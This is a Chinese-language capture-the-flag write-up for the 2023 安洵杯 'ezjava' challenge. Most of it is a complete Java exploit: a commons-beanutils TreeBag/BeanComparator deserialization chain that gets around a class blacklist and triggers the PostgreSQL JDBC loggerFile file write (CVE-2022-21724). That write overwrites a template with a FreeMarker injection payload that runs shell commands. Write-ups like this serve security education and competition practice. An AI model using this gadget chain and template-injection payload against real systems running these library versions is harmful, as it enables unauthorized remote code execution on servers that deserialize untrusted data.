2023安洵杯 ezjava
附件地址:https://github.com/D0g3-Lab/i-SOON_CTF_2023
先看依赖:
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.3</version>
</dependency>
主要就是这两个依赖,有一个CB,和一个postgresql
postgresql可以看到有几个cve
最熟悉的就是cve202221724这个了
但是可以先看给的文件start.sh:
#!/bin/sh
echo $D0g3CTF > /flag
chmod 444 /flag
unset D0g3CTF
iptables -P INPUT ACCEPT
iptables -F
iptables -X
iptables -Z
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -m state --state NEW -j DROP
iptables -P OUTPUT DROP
iptables -n -L
java -jar /app/ezjava.jar
发现目标不出网,所以只能利用写文件的那个,刚好有一个ftl模板注入可以利用
payload如下:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class cve202221724 {
public static void main(String[] args) throws SQLException {
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent="test";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
接下来就是CB了,CB可以触发任意的getter,链子如下:
但是注意到题目ban了很多类,具体如下:
static {
BLACKLIST.add("com.sun.jndi");
BLACKLIST.add("com.fasterxml.jackson");
BLACKLIST.add("org.springframework");
BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl");
BLACKLIST.add("java.security.SignedObject");
BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
BLACKLIST.add("java.lang.Runtime");
BLACKLIST.add("java.lang.ProcessBuilder");
BLACKLIST.add("java.util.PriorityQueue");
}
而且java的版本是openjdk:8u312
所以JNDI和RMI没辙,TemplatesImpl类和PriorityQueue类被禁
所以关键有两个点:
1.如何触发BeanComparator
2.如何触发getConnection
先来说第一个点
如何触发BeanComparator
这个是学了pop爷的链,只能说tql
入口是TreeBag类的readObject,其中有一个调用父类doReadObject的函数
跟进后触发了map.put
而TreeMap中有这个put函数,并且刚好触发compare:
这里的comparator也是Comparator
类,BeanComparator
是继承Comparator
类的,所以这里刚好接上了
getconnection可以写文件覆盖index.ftl利用模板注入rce
exp:
package com.ctf.axb;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.bag.TreeBag;
import org.postgresql.ds.PGConnectionPoolDataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.TreeMap;
public class Exp {
public static void main(String[] args) throws Exception {
PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent = "<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"ls /\")}";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
pgConnectionPoolDataSource.setProperty("loggerLevel","debug");
pgConnectionPoolDataSource.setProperty("loggerFile","/app/templates/index.ftl");
pgConnectionPoolDataSource.setURL(jdbcUrl);
pgConnectionPoolDataSource.setProperty("user","<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"ls /\")}");
pgConnectionPoolDataSource.setProperty("password","1");
Class<?> mutableIntegerclass = Class.forName("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
Constructor<?> mutableIntegerConstructor = mutableIntegerclass.getDeclaredConstructor(int.class);
mutableIntegerConstructor.setAccessible(true);
Object mutableIntegerClass = mutableIntegerConstructor.newInstance(1);
Class<?> entry = Class.forName("java.util.TreeMap$Entry");
Constructor<?> entryConstructor = entry.getDeclaredConstructor(Object.class, Object.class, entry);
entryConstructor.setAccessible(true);
Object entryClass = entryConstructor.newInstance(pgConnectionPoolDataSource, mutableIntegerClass, null);
Object entryClass1 = entryConstructor.newInstance(pgConnectionPoolDataSource,mutableIntegerClass, entryClass);
BeanComparator beanComparator = new BeanComparator();
Class<? extends BeanComparator> beanComparatorClass = beanComparator.getClass();
Field propertyField = beanComparatorClass.getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(beanComparator,"connection");
TreeMap treeMap = new TreeMap();
setFieldValue(entryClass1, "right", entryClass);
setFieldValue(treeMap,"root",entryClass1);
setFieldValue(treeMap,"size",1);
setFieldValue(treeMap,"modCount",1);
setFieldValue(treeMap,"comparator",beanComparator);
TreeBag treeBag = new TreeBag(beanComparator);
Class<?> superclass = treeBag.getClass().getSuperclass();
Field map = superclass.getDeclaredField("map");
map.setAccessible(true);
map.set(treeBag,treeMap);
String s = base64serial(treeBag);
System.out.println(s);
base64deserial(s);
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void base64deserial(String base64String) throws Exception {
byte[] data = Base64.getDecoder().decode(base64String);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
ois.readObject();
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
}
编码完直接打,就可以得到结果了
参考链接
https://xz.aliyun.com/t/11812
https://boogipop.com/2023/12/24/%E7%AC%AC%E5%85%AD%E5%B1%8A%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%91%E6%88%98%E8%B5%9B%20Writeup/#ezjava
官方WP